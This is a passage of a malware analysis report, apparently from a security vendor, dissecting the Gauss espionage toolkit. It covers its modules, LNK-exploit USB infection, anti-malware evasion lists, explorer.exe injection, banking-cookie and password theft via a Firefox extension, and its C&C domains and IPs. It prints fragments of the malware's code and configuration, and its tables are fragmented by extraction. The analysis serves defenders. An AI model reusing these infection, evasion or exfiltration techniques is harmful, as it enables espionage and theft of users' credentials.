+fsrt.exe +ipcserver.exe +CV.exe +VSDesktop.exe +ipctray.exe +The module reads the registry value +SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability +TimeStampForUI +. It is an +encrypted configuration file. The configuration file contains the list of additional modules, their names, DLL exports names to +call and location of the modules + additional files. +Gauss +ShellNotifyUser +ShellNotifyUserEx +SetWindowEvent +InitShellEx +%systemroot%\system32\winshell.ocx +%temp%\ws1bin.dat +Godel +InitCache +RevertCache +ValidateEntry +CreateEntry +%windir%\system32\dskapi.ocx +%temp%\~gdl.tmp +UsbDir +InitCache +RevertCache +ValidateEntry +CreateEntry +%windir%\system32\smdk.ocx +%temp%\~mdk.tmp +String values from config file (example) +Every module is loaded and its export functions are called as specified in the configuration. Most of the actions are logged in +an encrypted (with XOR) file +%temp%\~shw.tmp +Sample of decrypted +~shw.tmp +After loading additional modules, it tries to acquire the same privileges as +explorer.exe + and then starts its C&C interaction +loop. +Prior to communicating with the C&C, all the information from the other modules + log files is copied to the ~shw.tmp file. +Paths to the log files are taken from the TimeStampForUI configuration file. As a result, at this stage ~shw.tmp becomes a +universal container file containing all the stolen data. +It checks Internet connection (https) by accessing URLs specified in its resource 161. +It then checks an https connection with www.google.com or www.update.windows.com. If +200 OK + is received in reply, it +sends a request with the proxy server parameters taken from the prefs.js file of the Mozilla Firefox browser. +When an Internet connection is available, it connects to its C&C servers that are specified in resource 131: +Connection is established using WinInet API and is performed in two stages: +GET request to the server. The response from the server is expected to contain new modules, commands or +configuration data. +GET [C&C domain]/userhome.php?sid=[random +string]==&uid=VfHx8fHx8fHx8fHx8f +Hx8fHx8fE= +POST request to the server with the contents of the file +~shw.tmp + that contains all data +collected from the infected computer. +The response from the server is decrypted using XOR and 0xACDC as the key. Exfiltrated data is compressed with Zlib. +The C&C connection routine is controlled by a DWORD value that is read from the registry value: +[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability] +ShutdownIntervalSnapshotUI +The initial value of the counter is read from resource 181 and is equal to 56. The counter is decremented every time the +module fails to connect to its C&C server or to the servers specified in resource 161 and it is reset to the initial value after +every successful connection to the C&C server. The module exits the C&C connection loop when the value of the counter +becomes equal to zero. +Resource +Description +3 DWORDs, related to list of AVs +Hostnames and URLs of C&C servers +List of AVs, firewalls, etc. +Additional configuration DWORDs +Hostnames and URLs of legitimate sites to check Internet connection +String with cryptic identifiers +DWORD, number of attempts to connect to the C&C before giving up +File Version: +2001.12.4414.320 +Product Version: +5.1.2600.5788 +File OS: +WINDOWS32 +File Type: +File SubType: +UNKNOWN +Language/Code Page: 1033/1200 +CompanyName: +Microsoft Corporation +FileDescription: +WMI COM Helper +FileVersion: +2001.12.4414.320 +LegalCopyright: +Copyright (C) Microsoft Corp. 1995-1999 +LegalTrademarks: +Microsoft(R) is a registered trademark of +Microsoft Corporation. Windows(TM) is a trade +mark of Microsoft Corporation +ProductName: +WMI COM Services Help +ProductVersion: +05.01.2600.5788 +Version info +wmiqry32.dll +Dskapi.ocx +Name of the module used in Gauss: +Godel + or +Kurt +File names +%system32%\dskapi.ocx +Some known MD5 +ED5559B0C554055380D75C1D7F9C4424 +E379270F53BA148D333134011AA3600C +EF83394D9600F6D2808E0E99B5F932CA +Image Size +1 327 104 bytes +954 368 bytes +962 560 bytes +417 792 bytes +Number of resources +Resources +100, 101 +Date of compilation +28.09.2011 +13.10.2011 +01.11.2011 +29.11.2011 +Related files +%temp%\~gdl.tmp +.thumbs.db +wabdat.dat +desktop.ini +target.lnk +System32.dat +System32.bin +.CatRoot.tmp +Creates events: +{12258790-A76B} +Global\RasSrvReady +All functionality is implemented in +RevertCache + export. The module starts its main thread and then returns. The main +thread waits for the +{12258790-A76B} + event and continuously checks for the presence of anti-malware software. +ValidateEntry + signals the +{12258790-A76B} + event, allowing for the main thread to work for 3 seconds before terminating +Writes log file: %temp%\~gdl.tmp +The log file entries are compressed with Zlib. +Reads registry key HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum +Checks for running anti-malware products by names and exits if they are present: +AVKProxy.exe +abcd.exe +fsgk32.exe +fsorsp.exe +vsmon.exe +AVKService.exe +avp.exe +fsgk32st.exe +fspc.exe +zapro.exe +AVKTray.exe +fameh32.exe +fsguidll.exe +fsqh.exe +zlclient.exe +AVKWCtl.exe +fch32.exe +fshdll32.exe +fssm32.exe +GDFirewallTray.exe +fsar32.exe +fsm32.exe +fsus.exe +GDFwSvc.exe +fsav32.exe +fsma32.exe +gsava.exe +GDScan.exe +fsdfwd.exe +fsmb32.exe +gssm32.exe +It also exits if started on Windows 7 SP 1. +By querying disk enum in registry, it also tries to identify whether the storage is USB-connected or not by searching +USBSTOR + string in their information. +When a drive contains +.thumbs.db + file, its contents are read and checked for the valid magic number 0xEB397F2B. If it +matches, the module creates %commonprogramfiles%\system\wabdat.dat and writes the data to this file, and then deletes +.thumbs.db +Then, it infects the USB drives by creating directories with the names .Backup0[D-M] and .Backup00[D-M] +Infected USB root folder (before activation) +Each directory contains a specially crafted desktop.ini file and target.lnk file that exploits the LNK vulnerability. +target.lnk +[.ShellClassInfo] +CLSID = {0AFACED1-E828-11D1-9187-B532F1E9575D} +CLSID2 = {0AFACED1-E828-11D1-9187-B532F1E9575D} +UICLSID = {0AFACED1-E828-11D1-9187-B532F1E9575D} +desktop.ini +Listing of .Backup0* directory +In the root directory of the drive it creates files +System32.dat + and +System32.bin +, the payload DLLs, and the +.thumbs.db +file. The payloads are stored as resources and encrypted with a simple XOR routine. +static int decrypt(uint8_t *data, unsigned int dataLen) +uint32_t acc = 0xCC; +for ( unsigned int i = 0; i < dataLen; i++ ) +uint8_t acc2 = data[i]; +data[i] ^= acc; +acc = acc2; +return 0; +Resource +File name +Description +System32.dat (.CatRoot.tmp) +32-bit payload +System32.bin (.CatRoot.tmp) +64-bit payload +USB Payload +Both 32-bit and 64-bit DLLs implement the same functionality. When loaded using the LNK vulnerability, they start a main +thread and return. The main thread copies the payload to %TEMP% directory and loads itself again. When loaded from +%TEMP%, it creates a mutex +Isvp4003ltrEvent +, patches the +NtQueryDirectoryFile + function in ntdll.dll so that it hides its +files and then sends the + key event to windows of classes +SysListView32 +SysTreeView32 +DirectUIHWND +, causing +Explorer directory listings to refresh. This hides the files. It also waits for the event +Global\RasSrvReady +Then, it retrieves the following data from the system: + Version of the Windows OS + Workstation info + Network adapter information + Routing table + Process list + Environment variables and disk information + List of visible network shares + Network proxy information + List of visible MS SQL servers + URL cache +All this information is encoded and appended to the file +.thumbs.db + on the infected storage. This file also contains a TTL +(time to live) value that is decremented by 1 each time the payload starts from the infected storage. When this counter +becomes equal to zero, the payload disinfects the media by removing +.Backup0* + directories and +System32.dat + and +System32.bin + files, leaving +.thumbs.db + file with collected information. Known value of the TTL value is +There are several +special + versions of the payload. They contain additional PE sections with names +.exsdat, +.exrdat, + and +.exdat +. These sections are encrypted with RC4. The encryption key is derived from an MD5 hash performed 10000 times +on a combination of +%PATH% + environment string and name of the directory in %PROGRAMFILES%. +The RC4 key is not yet known, neither is the contents of these sections. The payload also contains a binary resource 100 +that is also encrypted. +thumbs.db file +This is a container for data stolen by the +dskapi + payload. +Offset +Data +Magic number : 0xEB397F2B +TTL counter +Encoded data +The encoded data consists of arrays of encoded strings, separated by a magic value 0xFF875686. +Offset +Description +Magic number : +0xFF875686 + end of array of records, must search for the next Magic +0xFF875683 XOR ( recordLength + 5 ) + start of record +Encrypted string data, recordLength bytes +Every record is encrypted by a simple algorithm using the character +s position and record length and can be decrypted with +the following code: +for ( unsigned int j = 0; j < recordLen; j++ ) +ptr[i + j] ^= recordLen; +ptr[i + j] -= j; +File Version: +5.1.3700.0 +File OS: +NT (WINDOWS32) +Product Version: +File Type: +File SubType: +5.1.3700.0 +DRV SOUND +File Date: +00:00:00 +CompanyName: +Microsoft Corporation +Language/Code Page: 1033/1200 +FileDescription: +00/00/0000 +Disk Helper +FileVersion: +5.1.3700.0 +LegalCopyright: + Microsoft Corporation. All rights reserved. +ProductName: +Microsoft + Windows + Operating System +InternalName: +OriginalFilename: +ProductVersion: +dskapi.ocx +dskapi.ocx +5.1.3700.0 +Version info +dskapi.ocx +Smdk.ocx +Name of the module used in Gauss: +UsbDir +File names +%system32%\smdk.ocx +Some known MD5 +5604A86CE596A239DD5B232AE32E02C6 +90F5C45420C295C73067AF44028CE0DD +212 992 bytes +Image Size +Date of compilation +27.09.2011 +17.10.2011 +%temp%\~mdk.tmp +Related files +Creates events: +{B336C220-B158} +Global\SmSrvReady +All functionality is implemented in +RevertCache + export. The module starts its main thread and then returns. The main +thread waits for the +{B336C220-B158} + event and continuously checks for the presence of anti-malware software. +ValidateEntry + signals the +{B336C220-B158} + event, allowing for the disk enumeration routine to start. +Writes log file: %temp%\~mdk.tmp +Reads registry key HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum +Checks for running antimalware products by names and exits if they are present: +AVKProxy.exe +abcd.exe +fsgk32.exe +fsorsp.exe +AVKService.exe +avp.exe +fsgk32st.exe +fspc.exe +AVKTray.exe +fameh32.exe +fsguidll.exe +fsqh.exe +AVKWCtl.exe +fch32.exe +fshdll32.exe +fssm32.exe +GDFirewallTray.exe +fsar32.exe +fsm32.exe +fsus.exe +GDFwSvc.exe +fsav32.exe +fsma32.exe +gsava.exe +GDScan.exe +fsdfwd.exe +fsmb32.exe +gssm32.exe +The version of the module built on 27.09.2011 also exits if started on Windows 7 SP 1. +By querying disk enum in registry, it also tries to identify whether the storage is USB-connected or not by searching +USBSTOR + string in their information. +The log file entries are compressed with Zlib. +File Version: +5.1.3700.0 +Product Version: +5.1.3700.0 +File OS: +NT (WINDOWS32) +File Type: +File SubType: +DRV SOUND +File Date: +00:00:00 +00/00/0000 +Language/Code Page: 1033/1200 +CompanyName: +Microsoft Corporation +FileDescription: +Disk Helper +FileVersion: +5.1.3700.0 +InternalName: +dskapi.ocx +LegalCopyright: + Microsoft Corporation. All rights reserved. +OriginalFilename: +dskapi.ocx +ProductName: +Microsoft + Windows + Operating System +ProductVersion: +5.1.3700.0 +Version info +smdk.ocx + (the same as in dskapi.ocx) +McDmn.ocx +Name of the module used in Gauss: +McDomain +File names +%system32%\mcdmn.ocx +known MD5 +9CA4A49135BCCDB09931CF0DBE25B5A9 +Image Size +102 400 bytes +Date of compilation +16.09.2011 +Related files +%temp%\md.bak +This module is a Windows DLL file with one exported function called +DllRegisterServer. +It creates log file: %temp%\md.bak that is encrypted with 2-byte XOR. +Uses LsaQueryInformationPolicy to retrieve the name of the primary domain. Retrieves information about network adapters. +All this information is encrypted and stored in the log file. +File Version: +2001.12.4414.320 +Product Version: +5.1.2600.5788 +File OS: +WINDOWS32 +File Type: +File SubType: +UNKNOWN +File Date: +00:00:00 +00/00/0000 +Language/Code Page: 1033/1200 +CompanyName: +Microsoft Corporation +FileDescription: +Windows File Extension +FileVersion: +2001.12.4414.320 +LegalCopyright: +Copyright (C) Microsoft Corp. 1995-1999 +LegalTrademarks: +Microsoft(R) is a registered trademark of Micro +soft Corporation. Windows(TM) is a trademark of +Microsoft Corporation +ProductName: +Microsoft + Windows + Operating System +ProductVersion: +05.01.2600.5788 +Version info +mcdmn.ocx +Lanhlp32.ocx +Name of the module used in Gauss: +Tailor +File names +%system32%\lanhlp32.ocx +Known MD5 +ED2B439708F204666370337AF2A9E18F +Image Size +278 528 bytes +Date of compilation +26.10.2011 +Related files +%systemroot%\Temp\s61cs3.dat +The module is a Windows DLL file with one exported function called +DllRegisterServer. +It contains encrypted debug information that includes the location of the project, +d:\projects\tailor\ +d:\projects\tailor\utils\Exceptions.h +..\Utils\Buffer.cpp +..\Utils\CryptUtils.cpp +..\Utils\Event.cpp +..\Utils\EveryoneSecurityAttributes.cpp +..\Utils\File.cpp +..\Utils\Mutex.cpp +..\Utils\MyWlanApi.cpp +..\Utils\OsUtils.cpp +..\Utils\RemoteMemoryBuffer.cpp +..\Utils\Storage.cpp +..\Utils\StringUtils.cpp +..\Utils\Waiter.cpp +.\SavedWNetworkConnectionsWin5.cpp +.\SavedWNetworkConnectionsWin6.cpp +.\VisibleNetworks.cpp +Creates mutex : Global\EnvDBE +Creates log file: %systemroot%\Temp\s61cs3.dat +Operates on Windows XP, Windows Vista and Windows 7. +On Windows XP: +.\SavedWNetworkConnectionsWin5.cpp +Enumerates registry keys in HKLM\SOFTWARE\Microsoft\WZCSVC\Parameters\Interfaces\ +Extracts +Static# + values that contain wireless key data. +On Windows Vista and Windows 7 : +..\Utils\MyWlanApi.cpp +.\SavedWNetworkConnectionsWin6.cpp +.\VisibleNetworks.cpp +Uses extended wlanapi.dll API to access WLAN information. Enumerates available wireless interfaces, then enumerates all +profiles and extracts SSID, name and wireless key information. Then, it retrieves the list of wireless networks visible to all the +wireless interfaces. +The log file is encrypted with a simple 1-byte XOR. +File Version: +5.1.3700.0 +Product Version: +5.1.3700.0 +File OS: +NT (WINDOWS32) +File Type: +File SubType: +DRV SOUND +File Date: +00:00:00 +00/00/0000 +Language/Code Page: 1033/1200 +CompanyName: +Microsoft Corporation +FileDescription: +Microsoft Windows LAN Component +FileVersion: +5.1.3700.0 +InternalName: +lanhlp32.ocx +LegalCopyright: + Microsoft Corporation. All rights reserved. +OriginalFilename: +lanhlp32.ocx +ProductName: +Microsoft + Windows + Operating System +ProductVersion: +5.1.3700.0 +Version info +lanhlp32.ocx +Devwiz.ocx +Name of the module used in Gauss: +Cosmos +File names +%system32%\devwiz.ocx +Known MD5 +CBB982032AED60B133225A2715D94458 +Image Size +102 400 bytes +Date of compilation +19.03.2012 +Related files +%temp%\~ZM6AD3.tmp +The module is a Windows DLL file with one exported function called +RefreshDev. +It creates log file : %WINDIR%\temp\~ZM6AD3.tmp +The log file is not encrypted and starts with a magic number 0xF68B973D +The module collects the following information and writes it to the log file : + CMOS RAM contents + Registry keys : +[ HKLM\HARDWARE\DESCRIPTION\System ] SystemBiosVersion,SystemBiosDate +[ HARDWARE\DESCRIPTION\System\BIOS ] +BIOSVendor, BIOSVersion, BIOSReleaseDate, BaseBoardManufacturer, +BaseBoardProduct, BaseBoardVersion, SystemFamily, +SystemManufacturer, SystemProductName, SystemSKU, SystemVersion +All retrieved information is written to the log file. +File Version: +5.1.2600.0 +Product Version: +5.1.2600.0 +File OS: +NT (WINDOWS32) +File Type: +File SubType: +DRV SOUND +File Date: +00:00:00 +00/00/0000 +Language/Code Page: 1033/1200 +CompanyName: +Microsoft Corporation +FileDescription: +Windows Device Wizard +FileVersion: +5.1.2600.0 +InternalName: +devwiz.ocx +LegalCopyright: + Microsoft Corporation. All rights reserved. +OriginalFilename: +devwiz.ocx +ProductName: +Microsoft + Windows + Operating System +ProductVersion: +5.1.2600.0 +Version info +devwiz.ocx +Winshell.ocx +Name of the module used in Gauss: +Gauss +File names +%system32%\winshell.ocx +Some known MD5 +EF6451FDE3751F698B49C8D4975A58B5 +7AC2799B5337B4BE54E5D5B03B214572 +4FB4D2EB303160C5F419CEC2E9F57850 +Image Size +Number of resources +405 504 (August 2011) +417 792 (October 2011) +401 408 (Dec 2011 - Jan 2012) +Resources +121,122,123,124,125,126 +Date of compilation +08.08.2011 +03.10.2011 +14.12.2011 +05.01.2012 +Related files +%temp%\ws1bin.dat +browser.js +browser.xul +fileio.js +chrome.manifest +lppd.dat +install.rdf +rssf.dat +lfm.dat +mppd.dat +pddp.dat +Creates events: +Global\SrvReportCondition +Global\DhwSyncEvent +Global\ShellSync +Interestingly, all three variants of the module that we have analyzed contain information about the location and names of +the original projects: +Variant +Path to project files +August 2011 +d:\projects\gauss +October 2011 +d:\projects\gauss_for_macis_2 +Dec 2011-Jan 2012 +c:\documents and settings\flamer\desktop\gauss_white_1 +Contains encrypted debug information that includes the location and files of the project: +c:\documents and settings\flamer\desktop\gauss _ white _ 1\utils\ +Exceptions.h +.\main.cpp +.\Manager.cpp +c:\documents and settings\flamer\desktop\gauss _ white _ 1\utils\SmartPtr.h +.\Injector.cpp +c:\documents and settings\flamer\desktop\gauss _ white _ 1\gauss\../Utils/ComUtils.h +.\History.cpp +.\FirefoxPluginInstaller.cpp +.\Telemetry.cpp +.\Storage.cpp +.\OsUtils.cpp +.\ProcessSnapshot.cpp +.\Event.cpp +.\GaussThread.cpp +.\Buffer.cpp +.\RemoteMemoryBuffer.cpp +.\File.cpp +.\Mutex.cpp +.\Waiter.cpp +.\EveryoneSecurityAttributes.cpp +.\Catcher.cpp +.\BrowserConnector.cpp +c:\documents and settings\flamer\desktop\gauss _ white _ 1\minime\../Utils/SmartPtr.h +.\Assigner.cpp +.\IEAbstractElements.cpp +.\FormExtractor.cpp +.\COMAbstractDataTypes.cpp +The debug information which was accidentally forgotten by the developers provides some interesting details. For instance, +the Windows username which compiled the project can be seen in the strings above as +flamer +DllMain starts a thread only if loaded by +explorer.exe +Writes log file: %systemroot%\Temp\ws1bin.dat. Log file starts with magic number 0x0A86FD375, encrypted with +1-byte XOR 0x46. Log file writer is guarded by mutex +Global\ShellSyncCom +Reads registry key : +SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability +ShutdownInterval = binary data +Checks Windows version and, onWindows Vista and Windows 7, it accesses %SystemDrive%\Users. On earlier versions, +it uses %SystemDrive%\Documents and settings and gets list of directories there. +Export +InitShellEx + : Enumerates all entries in HKEY _ USERS, removes all entries in +SOFTWARE\Mozilla\Mozilla\Firefox for each user, searches for its log ws1bin.dat and removes it. +Export +SetWindowEvent + : set event +Global\DhwSyncEvent +, wait for other thread to exit in 20 seconds, then terminate +that thread. +Export +ShellNotifyUser + : returns 1 +Export +ShellNotifyUserEx + : main export. Starts its main thread that should be monitored by the event +SetWindowEvent +and returns. +Lists running processes and returns if +evil.exe + is running. +Additionally logs the presence of the following registry keys : +HKLM\SOFTWARE\KasperskyLab\AVP6 +HKLM\SOFTWARE\KasperskyLab\ +protected\AVP7 +Then it starts a loop searching for running instances of %systemroot%\explorer.exe. If found, it injects +%systemroot%\system32\winshell.ocx (own body) into that process. +It uses an interesting technique to inject itself into Explorer: it creates a remote thread with the address of +LoadLibraryW +API as its start address. The path to its ocx file is passed to the function as +lpParameter +Telemetry: It retrieves and logs the following: + Computer name + Windows OS version + List of running processes + List of directories in %PROGRAMFILES% + Version of Internet Explorer browser + Primary domain name + Network adapter information +Searches for Cookies directory, retrieves all cookie files and writes their contents into its log. Searches for cookies that +contain the following strings: +paypal +blombank +facebook +mastercard +byblosbank +gmail +eurocard +citibank +hotmail +visa +fransabank +ebay +americanexpress +yahoo +maktoob +bankofbeirut +creditlibanais +eblf +amazon +Then, it retrieves Internet Explorer browsing history using IUrlHistoryStg::EnumUrls function, and tries to extract password +and text fields from loaded pages. +The Firefox plugin is written in several files, all of them are extracted and decrypted from the resources of the module. +Resource Id +File name of the Firefox Plugin component +browser.js +browser.xul +fileio.js +chrome.manifest +lppd.dat +install.rdf +Appends Firefox configuration file +prefs.js + with the following string, disabling Firefox +select your add-ons + window that is +usually shown after each Firefox update: +user _ pref( +extensions.shownSelectionUI +, true); +Installs the Firefox extension, on Windows Vista and Windows 7 into AppData\Roaming\Mozilla\Firefox\Profiles, +on earlier versions into Application Data\Mozilla\Firefox\Profiles. All files are written in a directory named +{a288cad4-7b24-43f8-9f4d-8e156305a8bc} +The Firefox extension extracts the following data: + Browsing history + Passwords (saved and entered by the user) + Cookies. The extension can be configured to look only for cookies of Google, Hotmail, Facebook, Yahoo +const Cc = Components.classes; +const Ci = Components.interfaces; +const EXTENSION _ ID = +{a288cad4-7b24-43f8-9f4d-8e156305a8bc} +const EXTENSION _ PATH = DirIO.get( +ProfD +).path+ +\\extensions\\ +EXTENSION _ ID; +const QUERY _ ID = +YlU/X1gFa2Isb1YkcFMnP18u`1kkb1goYFUO +akAgY1ULa1EjYlU/X1gPXWMyc18xYGM0b1UxalEsYVYgX1Uha18q +dVEna18lYWQi`Dgob2QubmklYWQi`DEjYGIkb2MvXWMyc18xY +FwoclUl`WgPblUlb/oSY18uY1wk`FkjYT8tRV4ocFYkcFMnPVwr +P18u`1kkb2gublk/ +const EXTENSION _ URL = +about:addons +const EXTENSION _ XUL = +chrome://mozapps/content/extensions/ +extensions.xul +const ERROR _ FILE = +rssf.dat +const LOG _ FILE = +lfm.dat +const OUTPUT _ FILE = +mppd.dat +const VERSION _ FILE = +lddp.dat +const MAX _ FILE _ SIZE = Math.pow(2,20)*10; +const MEAN _ ROW _ SIZE = 100; +const MAX _ ROW _ COUNT = (1/3)*(MAX _ FILE _ SIZE/MEAN _ ROW _ SIZE); +Part of browser.js code +The Firefox extension writes several log files in its directory: +Log file name +Description +rssf.dat +Browsing history +lfm.dat +Log file +mppd.dat +Collected passwords +pddp.dat +Collected cookies +File Version: +5.1.3700.0 +Product Version: +5.1.3700.0 +File OS: +NT (WINDOWS32) +File Type: +File SubType: +DRV SOUND +File Date: +00:00:00 +00/00/0000 +Language/Code Page: 1033/1200 +CompanyName: +Microsoft Corporation +FileDescription: +Microsoft Windows Shell Component +FileVersion: +5.1.3700.0 +InternalName: +winshell.ocx +LegalCopyright: + Microsoft Corporation. All rights reserved. +OriginalFilename: +winshell.ocx +ProductName: +Microsoft + Windows + Operating System +ProductVersion: +5.1.3700.0 +Version info +winshell.ocx +Windig.ocx +Name of the module used in Gauss: +Lagrange +File names +%system32%\windig.ocx +Known MD5 +DE2D0D6C340C75EB415F726338835125 +Image Size +180 224 bytes +Date of compilation +15.07.2011 +Related files +Fonts\ pldnrfn.ttf +The module is a Windows DLL file with one exported function called +GlobalDeleteAtomL. +The module reads the registry key that is originally created by +ShellHW + module : +HKLM\ SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability +ShutdownInterval = binary data +If the value is not present in the registry, it writes a random value into that key. +Then, it creates a new TrueType font file +%SystemRoot%\fonts\pldnrfn.ttf + (62 668 bytes long) from a template and using +randomized data from the ShutdownInterval key. The creation time of the font file is set to the creation time of the Arial font, +%SystemRoot%\fonts\ARIAL.TTF. +Then, a custom font named +Palida Narrow + is registered in the system font storage using the +AddFontResourceW + API +function. The module also creates a registry value: +HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts +Palida Narrow (TrueType)=pldnrfn.ttf +The purpose of the addition of this font is not yet known. It appears to contain valid Western, Baltic and Turkish symbols. +Font information from Font Viewer +File Version: +2001.12.4414.320 +Product Version: +5.1.2600.5788 +File OS: +WINDOWS32 +File Type: +File SubType: +UNKNOWN +File Date: +00:00:00 +00/00/0000 +Language/Code Page: 1033/1200 +CompanyName: +Microsoft Corporation +FileDescription: +WIN32 Digital Library +FileVersion: +2001.12.4414.320 +LegalCopyright: +Copyright (C) Microsoft Corp. 1995-1999 +LegalTrademarks: +Microsoft(R) is a registered trademark of Microsoft +Corporation. Windows(TM) is a trademark of +Microsoft Corporation +ProductName: +Microsoft + Windows + Operating System +ProductVersion: +05.01.2600.5788 +Version info +windig.ocx +Gauss C&C Information +To upload data stolen from infected machines, Gauss uses a number of command-and-control servers predefined in its +flexible configuration. +Figure 1 - Gauss encrypted C&C information data +Here +s a look at the decrypted configuration data: +Figure 2 - Gauss decrypted C&C configuration data +In the example above, we can see the C&C domains/hosts together with the name of the script (userhome.php) on the +server which is used for communication. +Going through the multitude of Gauss samples, we identified several domains used as C&C servers: + *.gowin7.com + *.secuurity.net + *.datajunction.org + *.bestcomputeradvisor.com + *.dotnetadvisor.info + *.guest-access.net +Wmiqry.ocx +01.06.2011 +dotnetadvisor.info +bestcomputeradvisor.info +16.07.2011 +*.bestcomputeradvisor.info +*.guest-access.net +18.07.2011 +*.bestcomputeradvisor.info +*.guest-access.net +28.09.2011 +*.gowin7.com +*.secuurity.net +20.10.2011 +*.datajunction.org +*.dotnetadvisor.info +20.10.2011 +*.gowin7.com +*.secuurity.net +datajunction.org +guest-access.net +Depending on the variant, * can be + or + or + and so on.For instance, a fully qualified hostname as in the example +above is +b.gowin7.com +Most samples we have use +*.gowin7.com + and +*.secuurity.net +. The domains +gowin7.com + and +secuurity.net + have +been registered by an +Adolph Dybevek, which is most likely a fake identity: +owner-name: Adolph Dybevek +owner-address: Prinsen gate 6 +owner-city: Oslo +admin-address: Prinsen gate 6 +ICANN Registrar: UNITED-DOMAINS AG +Created: 2012-03-15 +Expires: 2013-03-15 +Updated: 2012-03-15 +As in the case of Flame these domain registration addresses point to existing businesses. For example, at Prinsens Gate 6 +in Olso, we find a hotel in Norway: +Similarly, many of Flame C&D domain fake registrations used addresses of hotels. +During the period of monitoring, we observed these two main domains pointing to two different servers in India and +Portugal. Based on passive DNS research, we identified three other servers, located in the US which appear to have been +used as C&C. +The hosts +gowin7.com + and +secuurity.net + pointed to the following IP addresses: +Date +Domain +2012-06-28 23:05:35 +b.gowin7.com +109.71.45.115 +2012-06-29 07:05:28 (changed) +b.gowin7.com +182.18.166.116 +2012-06-28 23:05:38 +b.secuurity.net +109.71.45.115 +2012-06-29 07:05:29 (changed) +b.secuurity.net +182.18.166.116 +On 29th of June, 2012, the two C&C domains +gowin7.com + and +secuurity.net + were changed from IP 109.71.45.115 to a +new IP 182.18.166.116. +Both servers were shut down around July 13th, 2012. Prior to shut down, we managed to collect important information. Both +appeared to be running Debian Linux, which is consistent with the Flame C&C servers. They were listening on ports 22, 80 +and 443. The SSL certificates were self-signed, once again, the same as in the case of Flame. Here +s the certificate for the +server in Portugal: +If we are to believe the information in the certificate, it was generated on 17 Feb 2012. +The server at 182.18.166.116 (India) appears to currently host two other related domains: + bestcomputeradvisor.com + dotnetadvisor.info +Both have been registered by somebody named Gilles Renaud, probably another fake identity: +Registrant: +Gilles Renaud +Neugasse 10 +Zurich, Zurich 8005 +They were previously hosted in the US, at the IPs: 173.204.235.204 and 173.204.235.196. +We currently have seen samples which used {e,g,h}.bestcomputeradvisor.com and +c.dotnetadvisor.info + for command-andcontrol. It +s quite possible that other samples exist pointing to different hosts. +The additional domains +datajunction.org + and +guest-access.net + can be found in some samples and it is also used for +C&C communications. We currently have samples which use +c.datajunction.org + and +d.datajunction.org + but there are +probably others using + and +Both have been registered by somebody named +Peter Kulmann, + probably another fake identity: +Registrant Name:Peter Kulmann +Registrant Street1:Antala Staska 1301/19 +Registrant Street2: +Registrant Street3: +Registrant City:Prague +Registrant State/Province: +Registrant Postal Code:14000 +Registrant Country:CZ +The address +Antala Staska 1301/19 + appears once again to be fake + pointing to a supermarket/pharmacy in Prague: +Currently (as of August 2012), all the +*.datajunction.org + hosts point to the C&C server in India. Previously, they pointed to +the server in Portugal. Just like the others, they were previously hosted in US. +In addition to these, we identified another domain named +dataspotlight.net + which was hosted on the same servers. The +registrant is unknown and we couldn +t find any samples using it, however, it is probably related to the others. +Gauss C2 Domains Overview: +In total, we have identified 7 domains used or related to the Gauss malware: +Domain +Registered by +Currently hosted +Previously hosted +Older hosted: +gowin7.com +Adolph Dybevek +India +Portugal +secuurity.net +Adolph Dybevek +India +Portugal +datajunction.org +Peter Kulmann +India +Portugal +bestcomputeradvisor.com +Gilles Renaud +India +Portugal +dotnetadvisor.info +Gilles Renaud +India +Portugal +dataspotlight.net +UNKNOWN +India +Portugal +UNKNOWN +guest-access.net +Peter Kulmann +Domain registration history: +Domain +Registration date +bestcomputeradvisor.com, dotnetadvisor.info +22 July 2011 +datajunction.org. guest-access.net +26 July 2011 +gowin7.com, secuurity.net +15 March 2012 +dataspotlight.net +18 April 2012 +As can be seen from the table above, four domains were created in 2011 and were used in older samples. The newer +samples use +gowin7.com + and +secuurity.net +, which were registered on March 15th, 2012. +Known Gauss C2 server IPs: +Server +Location +182.18.166.116 +India, Hyderabad +109.71.45.115 +Portugal, Constancia +173.204.235.204 +United States, San Francisco +173.204.235.196 +United States, San Francisco +173.204.235.201 +United States, San Francisco +Here +s a comparison of the Flame and Gauss C2 infrastructure: +Flame +Gauss +VPS running Debian Linux +VPS running Debian Linux +SSH, HTTP, HTTPS +SSH, HTTP, HTTPS +SSL certificate +localhost.localdomain + self signed +localhost.localdomain + self signed +Registrant info +Fake names +Fake names +Address of registrants +Hotels, shops +Hotels, shops +C2 traffic protocol +HTTPS +HTTPS +C2 traffic encryption +None +XOR 0xACDC +cgi-bin/counter.cgi, common/index.php +userhome.php +Number of C2 domains +~100 +Number of fake identities used +to register domains +Hosting +Services available +C2 script names +DNS Balancing +For some of the C2 +s, the controllers used a technique known as DNS balancing or +Round robin DNS + (http://en.wikipedia. +org/wiki/Round-robin_DNS) + probably to even the load. This is a common technique in the case of massive traffic to a +website, suggesting that at their peak, the Gauss C2 +s were handling quite a lot of data. +Here +s one such example of DNS balancing: +;;QUESTION SECTION: +;DATAJUNCTION.ORG. +;;ANSWER SECTION: +DATAJUNCTION.ORG. +182.18.166.116 +DATAJUNCTION.ORG. +3600 +173.204.235.204 +DATAJUNCTION.ORG. +109.71.45.115 +As it can be seen, the domain datajunction.org resolves to three different IPs: 182.18.166.116, 173.204.235.204 and +109.71.45.115. +Timeline +We tried to put together all the date-of-creation information for the different Gauss modules, as well as those for Flame and +Duqu. Since no Gauss modules created before 2011 have been found, the table below does not include earlier data for +Flame and Duqu modules. +Module name (2011) +advnetcfg.2 +nteps32.2 +authpack.1 +mssecmgr.7 +mssecmgr.9 +msglu32.1 +wmiqry32.1 +dskapi.32 res.1 +dskapi.64 res +windig.1 +wmiqry32.2 +wmiqry32.3 +winshell.1 +mssecmgr.8 +mcdmn.1 +smdk.1 +dskapi.1 +wmiqry32.4 +winshell.2 +msglu32.2 +dskapi.2 +smdk.2 +igdkmd16b.sys +wmiqry32.5 +lanhlp32.1 +dskapi.3 +soapr32.1 +dskapi.4 +dskapi.32 res.2 +winshell.3 +Date of creation +11.01.2011 +11.01.2011 +23.01.2011 +17.02.2011 +21.03.2011 +29.03.2011 +01.06.2011 +30.06.2011 +30.06.2011 +15.07.2011 +16.07.2011 